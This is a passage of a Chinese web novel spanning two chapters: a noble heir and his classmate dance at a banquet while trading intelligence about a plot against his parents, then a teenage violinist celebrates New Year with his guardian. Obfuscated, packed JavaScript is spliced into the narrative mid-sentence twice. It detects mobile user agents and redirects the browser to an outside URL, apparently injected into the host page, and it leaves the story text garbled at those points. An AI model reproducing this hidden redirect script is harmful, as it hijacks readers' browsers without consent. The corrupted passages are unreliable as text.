突然,他听到脚步声,连忙把电脑电源摁掉,从旁边乱糟糟的书堆里随便抽出一本书来假装翻看。他的手,依然在微微颤抖,但这并不是恐惧,而是兴奋。 “灵烨啊,妈给你端个水果进来喔,哎呀,不要再玩电脑了啦,都这么烫了,我还要去照顾你姐姐?,真是的,市质检才考那么一点点分,老师都跟我讲了啦,你要是考不上高中怎么办…” “好好好,我学习我学习。”方灵烨连声答应,送妈妈出了房门—— 妈,你知道吗,要是我好好做这件事,姐就有救了! 11. 夜深沉 宴会厅里,巨型水晶吊灯闪烁着璀璨的光芒,光线柔和地洒在镶嵌着珍贵宝石的水晶酒杯上,折射出五光十色的光辉。墙壁上布满了华丽的挂毯与家族画像,通向中央舞池的长桌上,摆满了精致的餐具与昂贵的美酒。金银餐具在白色手工蕾丝桌布上闪烁着华丽的光泽,空气中弥漫着醇厚的酒香和美食的香气。侍者们统一穿着黑色的工作服,低调地穿梭在宾客之间。 乐队奏起悠扬的旋律,随着夜幕降临,气氛逐渐升温,宾客们身着华贵的晚礼服,手持酒杯,三三两两地低声交谈,偶尔爆发出几声清脆的笑声。 傅尧随侍在父母身旁,仿佛一个完美的附属品,安静、优雅,气质高贵且沉稳。他那双绝美的绿眼睛宛如晨曦中泛光的祖母绿宝石,宴会厅的灯火摇曳,他轻轻侧过脸,眼中便浮现出浅淡的波光,温润如春水,叫人心生亲近。 今晚,他仍打算按部就班地完成着自己的“角色”——和每位重要的客人点头致意,与他们短暂交谈,并附赠送上完美的微笑。 尽管内心略感厌倦,傅尧从小便知道,作为傅家的长孙,未来的继承人,自己需要以最优雅的姿态、最得体的行为来扮演自己的角色,既不失身份,又要足够吸引注意。无论是宴会上的交谈,还是那不经意间流露出来的气质,每一个微笑,每一次眼神的交汇,每一个动作都经过深思熟虑,仿佛一场精心排演的表演。 只不过刚才车里父亲的举动,实在让他有些不得不神经过敏。 “傅公子,今晚气氛可真好。”一位中年贵族走到傅尧身边,微微一笑。 傅尧抬眼看向他,对方没向父亲打招呼,却直接来找他? 他礼貌而从容地回应:“确实,像是家族的聚会一样。很高兴能在这里见到您。” 话语间透出一股轻松的气氛,却没有过多的亲近,既表达了尊重,又巧妙避免了深入的关系。 对方显然明白傅尧的分寸,微微一笑便转身离开。其他人也纷纷靠近他,恭维他的话语不断。傅尧的回应从容不迫,时不时抬起酒杯,浅浅一饮,余光却不动声色地观察着周围的一切。 气氛愈发热烈,宾客们的谈话内容也逐渐深入,涉及到了一些家族企业的合作问题。傅尧依旧站在父母身后,偶尔低语回应,提出自己的建议。 “傅少,听说你在新能源方面颇有见解?”一位中年商人试图与傅尧拉近距离,带着些许试探和恭维。 傅尧微笑,目光淡然而不失礼数:“商业上的事,几位长辈更有经验,我年纪还小,不过是跟着看一看,学一学。” 他说这话时,语气平淡,不急不躁。那商人愣了一下,似乎意识到傅尧并不急于展示自己的能力,便转向了其他话题。 几位年轻的贵族小姐挽着手一同上前,开始与傅尧攀谈。她们的话题从时尚、旅行到家族趣事,看似轻松,却也带有几分窥探的意味。傅尧保持着礼貌的微笑,偶尔附和几句,时而用一两句话巧妙地转移话题,让人感到他是一个极具魅力却又不易接近的人——他仿佛天生就能在这种场合中游刃有余,避免任何尴尬,展现自己应有的风度,又不让任何人窥探到他内心的真正想法。 入夜,鸽堡悠扬的钟声响起,八点整,城堡内的落地座钟也传出了报时的乐声——宴会终于要正式开场了! 一抹香槟金色的裙摆出现在旋转楼梯的拐角,觥筹交错中,一众尊贵显达的宾客都停下了动作,高谈阔论也转为低声品评,凝神注视着那即将现出真面目的倩影——这便是今日宴会的主角,帝国十大元帅之首张榕臻张元帅的女孙,已故内阁大臣张廷霖与著名钢琴家慕容莹的独女。 今晚是这位千金小姐第一次正式地踏入帝国上流社会的社交圈,是以几乎军界政界有头有脸的年轻俊彦都来参加,意图博得这位佳人的芳心——要知道,这位佳人是老元帅的掌上明珠,自张帅长子张廷霖殉国后,此女便隐隐成为家族年轻一代在老元帅面前的第一人,娶了她,便将是自己的一大助力。 元帅站在二楼俯瞰着下方的宾客,他站在那里,背后是精致的拱形窗框和华丽的挂毯。他的银发微卷,但身姿依旧挺拔,眼神深邃,如鹰隼般锐利,他的身上穿着深蓝色的军礼服,胸前挂着几枚闪耀的勋章。他微微低头,手中持着话筒,语气温和,声音却清晰有力,带着一股自然而然的震慑感,让所有人都屏息倾听: “今天,各位贵客欢聚一堂,不仅是在庆祝我孙女成人,更是在见证一个家族的延续。” 他说这话的时候,目光落到了孙女的身上。那些长年累月的冷酷与铁血,仿佛在这一刻都被柔和的温情取代。 “无论你走到哪里,都不要怕,记住你背后有爷爷。” 在场的人都能听出这短短一句话其中的分量。 女孩抬起头,她的眼中有一种复杂的情感交织,既有对未来的憧憬,也有对未知的紧张。她轻轻地走向元帅,微微欠身: 她知道,这一刻的成人礼对她而言,并非单纯的庆祝,而是进入了另一个层级——等待她的,是她必须承担的责任与义务。 当佳人挽着老元帅缓缓走下楼梯时,低低的惊叹赞美声四起,傅尧却是毫不在意——作为傅家老祖宗最疼爱的长孙兼未来的继承人,在负担沉重压力的同时也享受无上的荣耀,他在还牙牙学语时就开始年年参加皇宫的宴会,是在那位对他过度亲热的皇后及几位公主的拥吻下度过一年年的圣筵节的,美人,他见得多了。 况且傅家一脉与张家向来没有太多交情,他根本对那位佳人没有兴趣。 他只顾着欣赏那作为报时钟声的弗兰兹?舒伯特的五重奏。记得祖父大人最喜欢的便是鳟鱼这一段,他还小时,就常常见祖父边凝视着祖母的画像边轻轻哼着这首歌。 乐队开始奏起低调的小夜曲,氛围恰到好处,不喧嚣不浮夸。佳人举起酒杯,发出了一声清脆的碰杯声。四周顿时安静,所有的目光都集中到她的身上。 “各位来宾,大家晚上好,我是 Ilia Yvonne Zhang。” 直到一个婉转甜美的女声轻轻响起,傅尧才回过神来:有些意外的熟悉,但又和记忆中那果决沉静的声线有太多不同。 他暗暗生疑,循声望去,险些掉落手中的酒杯,当众失态——这位身价之高,在帝国数一数二的名媛,居然就是他三年来的同班同学、化学课代表张瑾妤?! 他不着痕迹地回头,却只见父亲面带微笑,与张元帅遥遥举杯致意,而母亲正和慕容莹相谈甚欢。 为这不明来由的默契,更联想起刚刚车上那突如其来的温情,他不禁心下一沉,看着那枚原以为是寄托了长辈爱护的珐琅金表,只觉得这简直是一个天大的笑话。 “感谢各位百忙之中拨冗来参加小女的生日会,那么现在,请各位尽情享受这个美妙的夜晚。” 眼前的人娇美如花般,四面逢源。原本的黑直发烫成了大波浪,平添一份妩媚,华贵璀璨的首饰也无法遮掩她的夺目光华。 但傅尧只觉得心冷,那如画眉目间,竟与校内时的她判若两人。 学校里的她,只有浓浓的书卷气,和她钟爱的冷冷古筝一样,冷傲而清冽,不识人间烟火般。他一直以为在同学这个身份之外,他将与这个他所倾心的少女再无交集——他此生是注定要挣扎在政治的烂泥潭中,不得拔身,因为这是他所必须承担的家族的责任。 他被傅姓所牵绊,情非得已。 但,她,又为了什么,义无反顾来趟这浑水? 说不清是否是为了心中那份疑问,抑或是太过失望,傅尧终究顺遂了父亲的意。他缓步穿过人群,在周围或明或暗有意无意的目光刺探下,在第一首舞曲前奏响起之时,他微微倾身,右手轻巧地执起那只素手,在手背上落下一个得体而标准的吻。 随后,他抬起眼,笑意不深不浅:“Miss. Zhang,在下 Frederic Coff,京兆傅家的长孙,是否有幸邀请您跳支舞?” 他的姓氏在空气中落下,让周围窃窃私语的贵族们一瞬间安静下来。少女微微一怔,傅尧察觉到她的错愕,仍旧保持着礼数周全的笑意,语调温和地补充道: “也许你曾听过我,但今晚,我们算是正式认识了。” 他说得自然,仿佛这只是一个寻常的介绍。 傅尧身份在那,自是没有没眼色的人上前去凑热闹,而张瑾妤显然也认出了老同学,此时微微颔首,随即反应过来,抬起手轻轻搭在他的掌心。掌心的温度传来,温暖而坚定。傅尧轻轻握住,牵着她走向舞池中央,黑色的皮鞋踏过红毯,每一步都带着不疾不徐的从容。 两人便一同滑入舞池。 随着指挥棒轻轻落下,悠扬的旋律缓缓响起。他的手掌稳稳地扶住她的腰,带着她踏出第一个舞步。张瑾妤有些紧张,但很快便被他精准的节奏带动,裙摆在旋转间微微扬起,如同流动的星光。 舞池边的贵族们端着酒杯,饶有兴致地注视着这一幕,窃窃私语。而傅尧的目光始终平静,仿佛这不过是一场再熟悉不过的社交礼节。然而在某个瞬间,他垂眸望向少女,唇角微微勾起:“跳得很好。” 她微微睁大眼,像是没料到他的夸奖,随即轻轻笑了笑,低声道:“是你带得好。” 傅尧没有说话,只是轻轻用指尖收紧了她的手。音乐流转,他们的舞步行云流水,在灯光下编织出一场无声的默契。 两人相对无言,只跟着乐曲旋转,未几,傅尧终于忍不住开口:“我没想到是你。” 张瑾妤却很是坦然,自嘲地笑笑:“是吗?我也没想到,今天让你看笑话了。” 她又恢复了平日的口音——很奇怪,往常听起来冰冰冷冷的,现在傅尧却发现这冰冷令他异常地舒服。 不知为什么,也许是被这个酸楚的笑容刺激到,傅尧心中的怨怼消失,急忙否认道:“只是有些惊讶而已,毕竞,你和在学校有些不一样。” 话一出口,才发现自己的失言——自己,不也是不一样的吗? 张瑾妤仿佛看透了傅尧的心理:“你不也一样?在学校里那么低调,只知道你家里条件不错,谁知道你居然是京兆傅家的?多大牌的纨绔啊!” 音乐流淌,节奏渐快,傅尧轻轻收紧手臂,带着她旋转而出。裙摆翻飞间,他精准地掌控着步伐,步步紧随,引导她踏入舞曲最炫目的段落。 “好哇,你敢说我是纨绔!”傅尧玩心一起,他微微倾身,手掌稳稳贴住她的腰背,给予足够的支撑。而她顺势后仰,弧度优雅而惊艳,长发如瀑布般垂落,裙摆顺着动作铺展开来,宛如一朵盛放的花。 在所有人屏息的一瞬,张瑾妤抬起一条修长的腿,灵巧地勾在他的腰侧,脚尖轻点着他精裁礼服的腰线,借力完成这惊艳的定格。傅尧眼底波澜不惊,手臂稳如磐石。灯光下,两人姿态紧密交叠,舞姿极尽亲密,却又拿捏得恰到好处。 周围宾客的惊叹与掌声随之响起,而傅尧只是低笑,轻声道:“不错。”随即顺势一带,将她优雅地扶回起身,舞步未曾停顿半分,继续游刃有余地领着她游走在舞池之中。 此情此景在他人看来自然是相配不已,谁也不会注意到张瑾好胸前的黄金镶贝母玉兰花形胸针掉落,而又“恰巧”被傅尧的舞步踢至不知哪里的边角角落。 激烈的舞步转缓,两人默契地相视一笑,顺着第二支曲子渐渐转离人群。 “我没想到你会跳这种风格。”张瑾妤微微喘息,低声道,语调掺着轻笑,仿佛对他的游刃有余并不意外。 傅尧唇角轻扬,手掌稳稳贴在她的腰背,带了点少年的得意:“你该知道,我可没什么不会的。”他的声音低沉而平稳,哪怕在这迅疾的步伐中,仍旧从容不迫。 “窃听器?” “嗯,二叔的杰作。” 张瑾妤的二叔,张廷晖,陆军上将,在张廷霖去世后隐隐成为张家在政坛上的代言人。只是没想到,他连一个小孤女都要防。 傅尧低头看她,眸光微深,手掌轻轻收紧些许,扶稳她的身形:“不如你先告诉我,你在这里扮演的是什么角色?” 少女顺着他的力道旋转,裙摆在空气中划出优雅的弧度。音乐高昂处,她轻轻一笑,顺势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266192|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依靠上他的肩膀,仿佛只是顺应舞步的亲密,而话语却意味不明: “你父母乘明早的湾流七号回帝都。” “你怎么知道?” 傅尧瞳孔微缩,这样一句话让他背后寒毛直竖,脚下的舞步却未曾停顿。他带着她旋转,目光深邃地锁住她:“这样的私人行程并不算绝顶机密,但连你都知道,说明行程不再安全?” 少女没有立刻作答,只是顺从地让他将自己托起,在半空中划出一道惊艳的弧度,而后被他稳稳接住。她贴近他,温热的气息拂过他的侧脸:“我可以告诉你信息的来源,但我要傅家绝对的庇护。” 傅尧没有立刻回答,而是顺势带着她旋身,与她在舞池中划出一圈完美的弧线。 望着眼前女孩恳切的面容,傅尧没来由地一下子相信了,心下怦怦直跳,“Miss Zhang,为什么?” 这样正式的称呼,张瑾妤也严肃起来,直直望向傅尧那双剔透而幽深的绿眼睛:“你知道,爸爸去后,我和我妈妈相依为命。妈妈很单纯,她不懂这些,而爸爸留下了些机密的文件在我手上。我怀疑爸爸的死和二叔有关。现在我所处的情境好比烈火烹油,爷爷年纪大了,只要他一去,我们孤儿寡母,又有那些烧手的秘密,说不清哪天就暴病而亡。我卖傅家一个人情,来换将来那一天的庇护,成交吗?” 傅尧完全想不到眼前看起来风淡云清的女孩在显赫的家世背后居然有这样深的疼痛。他没有立即回答,只是低垂下眉眼,目光落在女孩小巧精致的锁骨上。张瑾好也沉默,只随着他的舞步旋转,安静地等待。她知道,无论如何,傅尧都会接受这份人情。 “其实这件事,爷爷也知道的。我还没有能力来获得这样的情报。”张瑾好又加了一句,这才是傅尧一直沉吟考虑的重点——尽管他也很想保护眼前的女孩,但这严格说起来也算是别人的家务事,不是傅家和他可以随便插手的。就算他插手呢,总要有个身份,要个名正言顺。 不过,既然这是老元帅的手笔,他就可以放心了。虽然张瑾妤和张廷晖比起来,一个是孙女一个是儿子,后者看起来似乎血缘更近,但这也不代表老元帅会对一个有弑兄嫌疑而又身居高位的儿子没有忌惮和防备之心。 趁着乐曲进入尾声,交换舞伴之时,他领了这份情,沉声道:“我,Frederic Coff,代我父亲的名义,以我傅家家族名誉起誓,在我有生之年,必护你母亲与你平安康乐。” 张瑾妤感激地一笑,心下一松,下一刻,傅尧带着她轻巧落地,旋步收尾,恰好踩在乐曲的最后一个音符上。少女莞尔,借力旋开来去,而傅尧亦是宽慰地对之一笑。 掌声骤然响起,众人惊叹于他们的默契,这幕落在旁人眼中,就成了两人从开场舞开始,连跳两支曲子,金童玉女,已有默契。一旁不知眼红了多少公子哥,又碎了一地不计其数的少女心。 而他们只是对视一眼,他们都清楚,从这一刻起,一场更复杂的棋局,才刚刚开始。 回到家中,傅尧只匆匆换了宽松的家居服,就到书房寻见父亲。 傅晋准手捧一杯香茗,正在看书。傅尧一见那边角有些泛黄的封面和书脊上絳紫色的印记,立马停住略带急躁的脚步,待立在门口:父亲在看《谋书六卷》的时候,向来是不许任何人来打扰的,家里上下都知道他这个习惯。正好趁着这个时候,他可以好好想想这一段时间发生的事,以及今晚的事要怎么回父亲的话。 大概是过了一盏茶的时间吧,父亲才轻轻合上书:“进来。” “是。” 站在父亲面前,才发现以往那个坚实的依靠眉间居然也有浓浓的倦怠。傅尧顿时心就软了,那些小小的,今晚因为被父母联手“出卖”而产生的愤懑一瞬间烟消云散。他轻轻地叫着:“爸爸…” 傅晋准终于抬眼,锐利的目光落在儿子脸上。 傅尧没有卖关子,几句话便将今晚在舞池中的交易和盘托出,包括少女给出的情报、她的动机,以及他所做的承诺。灯光在他冷静的脸上投下浅淡的阴影,他没有丝毫迟疑,仿佛早已将一切思虑周全。 傅晋准沉默片刻,忽然低笑了一声,笑意冰冷:“真有意思。”他慢慢将手中的茶杯放下,目光深沉,“既然有人想杀我,是嫌我碍事,想让我早点退场?” “看来,有人很希望我们傅家’措手不及’。” 傅尧的母亲索菲亚站在门口,她刚梳洗完毕。即使洗去了精致的妆容,素面朝天,她仍是一位少见的美貌贵妇人——保持的很好的身材让她看起来比实际年龄要年轻许多,简洁的居家服给人一种平易近人的幻觉。 傅晋准站起身,牵过妻子的手,安抚性地拍了拍,拉着她坐到沙发上:“不过,他们大概没想到,我们未雨绸缪的本事,不比他们少。” 傅尧有些担心,他快步上前,握住母亲的另一手,跪坐在她的膝边,将头靠在母亲身上:“妈妈,您最近千万千万要小心,不要单独外出好吗?” 傅晋准听得出儿子的话语里隐藏的恐慌,他没说话,手指摩挲着妻子无名指上的对戒,目光微微沉思,半晌,他淡淡地道:“既然有人等着看一场好戏,那便给他们演一出最好的。死人向来最能安抚人心。世事无常,天灾人祸也都是很难预料的。” 傅尧有点心慌:“爸,您这是什么意思?” 书房陷入短暂的沉默,只余壁炉里的火光映在傅晋准脸上,忽明忽暗。索菲亚心里明白了丈夫的盘算,可她不舍得当着儿子的面说出来,当年他们已经抛下过儿子一次,难道这一次还要这样残忍吗? “既然如此,不如亲手给他们送上一场大戏。”傅晋准沉着眉眼,他搂了搂妻子的肩,看着儿子,语气沉稳如铁,“与其被动迎战,不如先让他们安心。死人,才能让人放松警惕。” 傅尧过了半晌,才缓缓道:“但如果这个死人还能’复活’,岂不是更有趣?” 傅晋准终于笑了,笑意里透着冷意,也透着一丝欣赏。他缓缓点头:“那就给他们一个’死人’吧。” 傅尧垂眸,“如您所愿,父亲。” 12. 新年新气象 冬假转瞬就过半了,新年夜承载着大家的美好祝愿已经降临在街角。也就只在这一天,顾梓聿能真正地放一个假——其实倒也没有,虽然新年学校的竞赛课放假,但早上他还得练琴呢。 不过,他已经约好中午和姜家兄妹出去逛街啦! 顾梓聿按着宋熙和给的训练计划一丝不苟地执行,他看着镜子中的自己,很注意地矫正着自己的姿势,但心神忍不住飞到了前几天和顾仲景的谈话。 “所以,你是想走专业?” 顾梓聿不知道该如何回答。 他当然想过,可是……如果真的选择小提琴,他就得放弃很多东西。学业、竞赛、可能的大学录取机会,甚至他曾经规划过的所有人生方向。 他不是那种只会拉琴的孩子,他的可能性有很多,可现在,他却站在人生的岔路口,不确定自己是否应该抛弃这一切,去追逐那条未知的道路。 顾仲景没有催促,他只是静静地等着,等着顾梓聿自己理清自己的心。 “……我不知道。”顾梓聿低声道,“我喜欢拉琴,可是我不知道自己是不是真的想以此为职业。” “如果我选择走学术,将来或许会成为一个很好的工程师、医生、科学家,或者任何职业都可以,我也还可以同时以拉小提琴为爱好,现在不是有很多人辅修音乐学位吗?但是如果现在就决定把所有精力都放在小提琴上,也许我能成为独奏家,但是同样的时间,放弃的机会成本,总会让我后悔,也许我的人生还有另一种可能性。” 顾仲景的声音很平稳:“人生的每一步,都是在放弃另一种可能。” 顾梓聿怔住,指尖轻轻收紧。 他一直想要一个正确的答案,或者说,一个完美的答案,一个可以让他毫无遗憾的选择。但顾仲景的话让他明白,这世上根本没有完美的决定。无论他选什么,他都会失去一些东西,而唯一能做的,就是选择他最愿意为之付出的那条路。 “爸,我两个都不想放弃,我想试试自己的极限在哪里!” 顾梓聿知道自己还是贪心,但年轻人嘛,不试试怎么知道行不行?他就是想强求一次,看看自己能走多远。 顾仲景没有阻止他。 事实上,他心有隐忧:国防生这个抽调机制就像达摩克利斯之剑一直悬在他心上。顾梓聿的履历一直很优秀,如果他走音乐的路,跳出义务教育的桎梏,他依然能够主宰自己的命运。但他的档案如果真的被抽调走了,那就会是一场他无法掌控的风暴。 但他也始终抱着侥幸心理,希望顾梓聿可以再任性多一段时间,像寻常的小孩一样,毫无顾虑地炫耀自己的天赋,毕竟,他家小男孩,是真的很厉害啊。 新年时刻,整座城市都弥漫着喜庆的气息。街道两旁挂满了红灯笼,商铺门口贴着崭新的春联,五彩斑斓的年货摊位挤满了熙熙攘攘的人群。小贩们的吆喝声此起彼伏,糖葫芦、烤红薯、炸年糕的香味弥漫在空气中,勾得人馋得直吞口水。周围每个人的手里都拎着满满当当的:鸡鸭鱼肉、蔬菜水果、零食糕点,还有大包小包的糖果和干果。孩子们穿着崭新喜庆的衣服,兴奋地拉着父母,指着摊位上新奇的玩具,央求着买一个带回家。 姜明珺打扮得漂漂亮亮的,毛茸茸的粉色帽子下露出一张巴掌小脸,深红色的羽绒外套和有着毛绒装饰的白色雪地靴把她裹得像个雪娃娃。羽绒服的设计修身,线条简洁,既温暖又不会显得臃肿,粉色的羊毛围巾,轻轻地绕在脖子上,衬得她唇红齿白的。 她走在前面,边回头催着后面的两位哥哥:“你们俩快点呀!” 步行街上真是堵得水泄不通,各个摊位上结账队伍都排得老长。顾梓聿好久没这样逛过街了,手里拿着一包新鲜出炉的炸春卷递过来:“明祎明珺,尝尝!” 姜明祎刚解决完手里的烤鱿鱼,嘴巴还塞得满满的,姜明珺接过一个炸春卷,一口咬下去,油炸春卷皮的香脆与内馅的鲜美交织,好吃得让她眉毛都飞起来了。 “你们家晚上守岁吗?”顾梓聿也拣了个炸春卷塞进嘴里,姜明祎好不容易把嘴里的吞下去,嘟囔道:“守啊,我们家今年就自己小家过,怎么的也得弄得热闹一点。你和顾伯父呢?要不要来我们家一起凑个热闹?这样人多也有意思。” “不啦,叔叔阿姨好不容易陪你们俩过一次节,这可是留给家人的宝贵时光。”顾梓聿谢绝了朋友的好意,“我和我爸两个人也挺清净。” 顾梓聿出门的时候,顾仲景正忙着把家里装点得焕然一新。他往常不是多有仪式感的人,却偏偏对过年这件事十分看重。顾梓聿已经在家里到处贴满了福字和窗花,顾仲景就负责换上崭新的窗帘和桌布,把寓意吉祥的红色饰品摆满每个角落。他是北方人,北方的年夜饭里必然要有象征团圆的饺子。除此之外,每年过年,还有清蒸鱼、梅菜扣肉、糖醋排骨、螃蟹年糕和各种炸物,一桌子排的满满当当地,都是顾梓聿爱吃的。 自从他来到这个家,每个新年夜都是这么过来的,虽然家里只有两个人,但也足以让新年不显孤单、冷清。 夜幕低垂,鹿城的街头依旧亮如白昼,家家户户的窗户里透出温暖的灯光,烟花不时在夜空绽放,映照出璀璨的光影。顾梓聿换上了大红色的新家居服,打开电视,把频道调到了一年一度的新年联欢晚会,当做热闹的背景音。 “过来帮我把菜都端出来。”顾仲景的声音从厨房那头传来,随即他就端了一大碟子红彤彤的东西上桌。 顾梓聿凑上前一看,惊讶极了:“爸,你做了松鼠鳜鱼?” 这可是道功夫菜,一只鱼得经过开花刀、油炸、浇汁,最后才能变成外形呈松鼠毛发喷张状的样子。 “往常做的都是清蒸鱼,今年我想着不能再偷懒了,好歹也是个大年夜,过了今晚你就15了,又大了一岁啊。”顾仲景看着面前的小男孩,笑了笑,语气里是掩盖不住的心满意足。 “嗯。”顾梓聿嘴里含糊地应了一声,钻进厨房里去。他眼睛不由自主地酸了一下:时间过得这么快吗?已经这么多年过去了。 “今晚上别的菜可以剩,这条鱼可得解决掉啊,我为了今天晚上可是研究了好久菜谱。” “没问题,包在我身上!”顾梓聿把菜都摆出来,为着吉利,桌上满满当当摆了十道菜,寓意十全十美。 “今年还是老样子,咱们先吃饭,再守岁!” 他摆好两人份的碗筷,又多摆上了两个空碗,两幅筷子。顾仲景拿过白酒,往两个小酒盅里倒了七分满,端端正正地立在空碗筷边。 “爸,你小时候过年是怎么样的?”顾梓聿突然问道。 顾仲景轻轻一笑,像是陷入了回忆,缓缓说道:“我的小时候?那时候城里还能放炮呢。新年常常会下大雪,那雪深的呀,第二天门都推不开,要是没铺路暖的人家,得从窗户里翻出去铲雪才能把门打开。” 两人都很默契地不去触碰往事。 “先给你父母拜个年吧。”顾仲景轻声道。他微微侧身,仿佛是刻意留出空间,不让自己的存在打扰这一家人。 顾梓聿面对桌上的空碗筷,双手合十,闭上眼睛,屈膝跪下,在心中默念:爸,妈,新年好,儿子在这里一切都好,请不必挂念。 说起来甚至有些荒唐,但顾梓聿确实已经渐渐忘记亲生父母的长相——他儿时的记忆都已模糊,剩下那些零星的碎片梦魇似地缠着他,他也不愿意去想起。他连父母的照片都没有一张,一件可以用来缅怀的遗物都没有。父母的面容,已然遥远,也许小的时候还会想念,但现在这么多年过去了,他也就是每年过新年和清明节扫墓时,会郑重其事地跟他们说上几句话——如果他们在天有灵的话。 在心里默默地回顾了自己这一年以来的种种,又展望了一下对新的一年的计划和发展,顾梓聿才认认真真地磕了三个头,起身。 顾仲景在一旁看着,耐心地等顾梓聿磕完头起身,他才缓缓伸手,轻轻拍了拍他的肩膀,没有安慰,轻声说:“吃饭吧。” 零点的钟声敲响了,窗外的烟花此起彼伏,映得整个夜空都明亮起来。父子俩站在窗前,看着烟花一朵朵在黑暗中炸开,璀璨耀眼,却短暂得像流星一般。 顾仲景递给男孩一个红包,笑着说:“给你的压岁钱。” 顾梓聿接过红包,心里暖暖的,但嘴上还是忍不住推却一下:“这也太多了爸,我平常也没什么花钱的地方。” 虽然每年都收,但往年似乎是象征意味多一点,今年的红包却格外厚实,他拿在手里甚至觉得有些沉甸甸的。 他平时也没什么额外的花销,一应开支都有顾仲景想着,钱对他来说没什么意义,零花钱都很少动用,更别说这些过年时的红包了。 “拿着,压岁钱可不是给你乱花的,是用来镇压邪祟,保平安的。” 顾梓聿一愣。 顾仲景轻轻点着男孩手里的红包,语气随意:“压岁钱,压的不是年纪,是年兽、是不干净的东西,给小孩子压在枕头底下,寓意着平平安安地长大。” 顾梓聿低头看着那个红色的信封,指尖微微用力地捏了捏。 他忽然想起来,小时候的确是这样。 那时候父母都还在,每年除夕夜,妈妈都会笑着把红包塞进他的小手里,拍拍他的脑袋,说:“乖,放在枕头底下,今晚不会有年兽来吓你。”爸爸则在一旁笑着附和,说:“而且还能保佑你今年不生病、不受伤。” 他以为那不过是小孩子才有的仪式,早忘在了脑后,可现在,顾仲景又郑重地递到了他手里。 “拿着吧。”顾仲景轻声道,“新的一年,也得平平安安的才行。” 顾梓聿沉默了几秒,最终没有再推拒,然后,他走进房间,把红包放在了枕头底下。 “等明天我陪你去银行存起来。”顾仲景揉了揉他的头发,笑容里透着一丝宠溺,“现在吃住都在家里,以后你用钱的地方还多着呢。” “好。” 顾梓聿已经不再是那个相信“年兽会来抓人”的孩子了,但这份踏实感,让他觉得,只要有这份压岁钱,他就真的能在新的一年里不做噩梦,不生病,也不会遇到什么倒霉事。 他坐回沙发上,随手拿起手机。手机屏幕被新年的祝福短信刷得满满当当,姜家兄妹、乐团的大群小群、班级群、竞赛群,大家都在群发着“新年快乐”的字样。 他没点开那些代表着通知信息的小红点,而是轻车熟路地先找到了张瑾妤的对话框——他们上一次的聊天记录还停留在放假前。顾梓聿特意挑了几个可爱的拜年表情包,先一股脑轰炸过去,再编辑了一条长长的拜年祝福,把他所能想到的所有美好的祝愿全部囊括了进去。 对面很矜持地回了一个微笑表情包,和一句简短的“新年快乐,你也是”。 令顾梓聿心花怒放的是,那个表情包是用他本人的偷拍图做的。 他这才心满意足地开始一一回复收到的拜年短信。回复完了之后,他接着给各位师长拜年。吴老师、师兄、宋美人、老肖、物竞孔邵东老师、数竞王铮亮老师、班主任老陈,还有,程琤。 程琤。 顾梓聿的指尖在屏幕上游移,他做贼心虚地看了一眼旁边的顾仲景,对方也正在看手机,似乎没注意到他的眼神。 顾梓聿没忘记顾仲景之前说的话。他说过的,让自己离程琤远一点。 这一个冬假,有意无意的,他竟然确实缺席了大部分的化竞课,为数不多几次去的时候,虽然程琤对他仍然是如往常一样,但他的心情却要复杂多了,既有曾经的亲近和尊敬,也有如今的隔阂和疏远。 他还没想好怎么面对程琤,如果他那些所谓的关心都是精心策划,每一句话、每一次微笑,都是为了便于掌控。 然而,新年是华纳最重要的节日,而他虽然决定与程琤保持距离,但在这个节日,他无法完全放下那份曾经的孺慕之情。 他拿起手机,犹豫了几秒钟,最后还是决定给他发一条拜年短信。手机屏幕上的字母一一跳动,顾梓聿的指尖停顿在“祝您新年快乐”的那几个字上。 他深吸一口气,心里一遍遍反复思考着:“不需要太多客套,也不必过于冷漠,礼貌而不失敬意。” 最终,他打下了这条信息: “程老师,新年快乐!祝您新的一年身体健康、工作顺利。” 顾梓聿看着屏幕上那行字,感觉有些空洞,似乎什么都没有表达出来,又好像又什么都已经说清楚。他放下手机,忽然觉得一阵疲惫,轻轻叹了口气,然后按下了发送按钮。 短信发出去的瞬间,顾梓聿的心里有种莫名的解脱感。 他知道,这一条短信对他而言,是一个看似平淡却决绝的告别,从此隔开了他与过去的自己,和那个曾经依赖的哥哥样的人物。他放下手机,沉默地看着窗外璀璨的烟花升空,爆裂成五彩斑斓的光点。 新的一年,或许也该是个新的开始。 新年夜,鹅毛大雪静悄悄地下着,落在傅家老宅的朱红色屋檐上、庭院内的松柏上和古色古香的游廊上。室外寒意深重,室内却暖意融融,到处张灯结彩。正厅里的水晶吊灯璀璨夺目,傅家人分坐在主餐桌两旁,长长的餐桌上珍馐美馔罗列齐整,银器与骨瓷在烛光下映出温润的光泽。 不远处还另置了一张圆桌,围坐的分别是傅家兄弟的几个亲信副官。菜色倒是都一样的,但两张桌子旁坐的客人的尊贵轻重,分的明明白白。 傅劲先端坐在主位,白发梳得一丝不苟,拇指上的玉扳指在灯光下泛着温润的光。他的目光缓缓扫过桌上的众人,威严中透着几分难得的松弛:傅家人也好,外姓人也好,也只有在新年这样的时候,能聚齐这么多人了。 他轻轻举起酒杯,宴会厅内落针可闻——众人都知道,这是老爷子要开口的时候。 “这一年,过得都不轻松吧?” “帝国局势风云变幻,党派争斗愈演愈烈,傅家走得不容易,但到底还是稳住了。” 他顿了顿,视线掠过左手边的长子傅晋准,又落在右手边的小儿子傅秦陶身上,一个是帝国财政部副大臣,一个是军备部战略规划司司长,傅家在帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 